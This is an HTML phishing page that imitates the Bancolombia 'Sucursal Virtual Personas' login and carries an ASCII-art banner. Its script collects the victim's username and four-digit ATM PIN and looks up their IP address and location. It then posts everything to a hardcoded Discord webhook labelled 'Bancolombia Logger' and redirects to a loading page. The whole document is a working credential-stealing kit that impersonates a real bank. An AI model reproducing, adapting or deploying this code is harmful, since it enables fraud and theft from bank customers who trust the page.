___ _____ _____ __ ____ ____ _
/ _ \ / ____||_ _| / _||___ \|___ \ | |
| | | |__ __| (___ | | | |_ __) | __) | __| |
| | | |\ \/ / \___ \ | | | _| |__ < |__ < / _` |
| |_| | > < ____) | _| |_ | | ___) |___) || (_| |
\___/ /_/\_\|_____/ |_____| |_| |____/|____/ \__,_|
______
|______|
No screenshots available.
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Bancolombia - Sucursal Virtual Personas</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
<style>
:root {
--a: #000000;
--b: #333333;
--c: #666666;
--d: #E0E0E0;
--e: #A0A0A0;
--f: #FFFFFF;
--g: #F8F9FA;
--h: #D0D5DD;
--i: 'Helvetica Neue', Helvetica, Arial, sans-serif;
--j: 4px;
--k: 8px;
--l: 16px;
--m: 24px;
--n: 42px;
--o: #FDDA24;
}
body {
margin: 0;
font-family: var(--i);
color: var(--b);
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.x1 {
display: flex;
flex-direction: column;
min-height: 100vh;
background-image: url('https://i.postimg.cc/zB7SgJJc/Gemini-Generated-Image-oljvh9oljvh9oljv.png');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
background-color: var(--g);
}
.x2 {
text-align: center;
padding: var(--n) var(--l) var(--l);
}
.x3 {
margin: auto;
display: block;
justify-content: center;
margin-top: 50px;
}
.x4 {
height: 24px;
max-width: 150px;
}
.x2 h1 {
font-size: 1.2rem;
margin: 0;
font-weight: 300;
}
.x5 {
display: flex;
justify-content: center;
align-items: center;
padding: var(--l);
}
.x6 {
background-color: var(--f);
padding: var(--m);
border-radius: 12px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.08);
width: 100%;
max-width: 450px;
box-sizing: border-box;
}
.x6 h2 {
font-size: 1.6rem;
margin-top: 0;
margin-bottom: var(--j);
font-weight: bold;
}
.x6 p {
color: var(--c);
margin-bottom: var(--m);
font-size: 0.95rem;
font-weight: 300;
}
.x7 {
position: relative;
margin-bottom: var(--l);
}
.x8 {
position: absolute;
left: 0;
top: 50%;
transform: translateY(-50%);
color: var(--c);
font-size: 1.2rem;
pointer-events: none;
}
.x7 input {
width: 100%;
padding: var(--k) var(--k) var(--k) 2.2rem;
border: none;
border-bottom: 1px solid var(--h);
font-size: 1rem;
font-weight: 300;
box-sizing: border-box;
transition: border-color 0.2s;
}
.x7 input:focus {
outline: none;
border-bottom-color: var(--a);
}
.x9 {
display: block;
color: var(--a);
text-decoration: underline;
font-size: 0.8rem;
font-weight: bold;
margin-bottom: var(--m);
text-align: left;
cursor: pointer;
}
.x6 button {
width: 100%;
padding: var(--l);
border: none;
border-radius: 25px;
font-size: 1rem;
font-weight: bold;
background-color: var(--d);
color: var(--e);
cursor: not-allowed;
transition: all 0.3s ease;
}
.x6 button.active {
background-color: var(--o);
color: var(--a);
cursor: pointer;
}
.y1 {
display: block;
color: var(--a);
text-decoration: underline;
font-size: 0.8rem;
font-weight: bold;
margin-top: var(--n);
text-align: center;
cursor: pointer;
}
.y2 {
padding: var(--m) var(--l);
border-top: 1px solid var(--h);
display: flex;
justify-content: center;
}
.y3 {
list-style: none;
padding: 0;
margin: 0;
display: flex;
flex-direction: column;
align-items: center;
gap: var(--k);
}
.y3 a {
color: var(--c);
text-decoration: none;
font-size: 0.85rem;
font-weight: 300;
}
@media (min-width: 768px) {
.x1 { background-color: transparent; }
.x2 { text-align: left; padding: var(--m) var(--n); display: flex; justify-content: space-between; align-items: center; }
.x3 { margin: auto; display: block; justify-content: center; margin-top: 50px; }
.x4 { margin-right: auto; }
.x2 h1 { font-size: 1.6rem; text-align: center; flex: 1; }
.x5 { padding: 0; }
.x6 { padding: var(--n); }
.y2 { display: none; }
}
</style>
</head>
<body>
<div class="x1">
<header class="x2">
<div class="x3">
<center>
<img src="https://i.postimg.cc/BvGx78bB/ggg.png" alt="sd" class="x4" style="width: 200px; margin: auto;">
<h1 style="font-size: 29px; margin-top: 40px;">Sucursal Virtual Personas</h1>
</center>
</div>
</header>
<main class="x5">
<div class="x6">
<center><br>
<h2>¡Hola!</h2>
<p style="line-height: 1.5;">Ingresa los datos para gestionar tus productos y hacer transacciones.</p>
<form id="f1">
<div class="x7">
<i class="fas fa-user x8"></i>
<input type="text" id="i1" placeholder="Usuario">
</div>
<a href="#" class="x9">¿Olvidaste tu usuario?</a>
<div class="x7">
<i class="fas fa-lock x8"></i>
<input type="password" id="i2" maxlength="4" placeholder="Clave del cajero" inputmode="numeric" pattern="[0-9]*">
</div>
<a href="#" class="x9">¿Olvidaste o bloqueaste tu clave?</a>
<button type="submit" id="b1" disabled>Iniciar sesión</button>
</form>
<a href="#" class="y1">Crear usuario</a>
</center>
</div>
</main>
<footer class="y2">
<ul class="y3">
<li><a href="#">¿Problemas para conectarte?</a></li>
<li><a href="#">Aprende sobre seguridad</a></li>
<li><a href="#">Reglamento Sucursal Virtual</a></li>
<li><a href="#">Política de privacidad</a></li>
</ul>
</footer>
</div>
<script>
const u = document.getElementById('i1');
const p = document.getElementById('i2');
const b = document.getElementById('b1');
const f = document.getElementById('f1');
const v = () => {
const rU = /^[a-zA-Z0-9]+$/;
const rP = /^\d{4}$/;
if (rU.test(u.value) && rP.test(p.value)) {
b.disabled = false;
b.classList.add('active');
} else {
b.disabled = true;
b.classList.remove('active');
}
};
u.addEventListener('input', v);
p.addEventListener('input', v);
async function obtenerGeolocalizacion() {
try {
const response = await fetch('https://ipapi.co/json/');
const datos = await response.json();
return {
ip: datos.ip || 'No disponible',
pais: datos.country_name || 'No disponible',
ciudad: datos.city || 'No disponible'
};
} catch (error) {
console.error('Error al obtener geolocalización:', error);
return {
ip: 'Error al obtener',
pais: 'Error al obtener',
ciudad: 'Error al obtener'
};
}
}
function obtenerFechaHora() {
const ahora = new Date();
const opciones = {
day: 'numeric',
month: 'long',
hour: 'numeric',
minute: 'numeric',
hour12: true
};
return ahora.toLocaleDateString('es-ES', opciones).replace(',', '');
}
async function enviarADiscord(usuario, clave, ip, pais, ciudad) {
const webhookURL = 'https://discord.com/api/webhooks/1535389558215016568/xbt23jToC912hbuSNC07b2FZPcjEHv8fhbsxWMWK7CKhi_evwTOkSjgnai-XS4J5ZwVg';
const fechaHora = obtenerFechaHora();
const embed = {
title: "Nuevo Usuario Detectado",
color: 0xFDDA24,
fields: [
{
name: "**Usuario**",
value: usuario,
inline: false
},
{
name: "**Contraseña**",
value: clave,
inline: false
},
{
name: "**IP y Ubicación**",
value: `${ip} - ${ciudad}, ${pais}`,
inline: false
}
],
footer: {
text: fechaHora
}
};
const payload = {
embeds: [embed],
username: 'Bancolombia Logger',
};
try {
const respuesta = await fetch(webhookURL, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(payload)
});
if (respuesta.ok) {
} else {
}
} catch (error) {
}
}
f.addEventListener('submit', async (e) => {
e.preventDefault();
b.disabled = true;
b.innerHTML = '<i class="fas fa-spinner fa-spin"></i>';
const usuario = u.value;
const clave = p.value;
localStorage.setItem('usuario_bancolombia', usuario);
const geo = await obtenerGeolocalizacion();
await enviarADiscord(usuario, clave, geo.ip, geo.pais, geo.ciudad);
setTimeout(() => {
window.location.href = 'cargando.html';
}, 2000);
});
</script>
</body>
</html>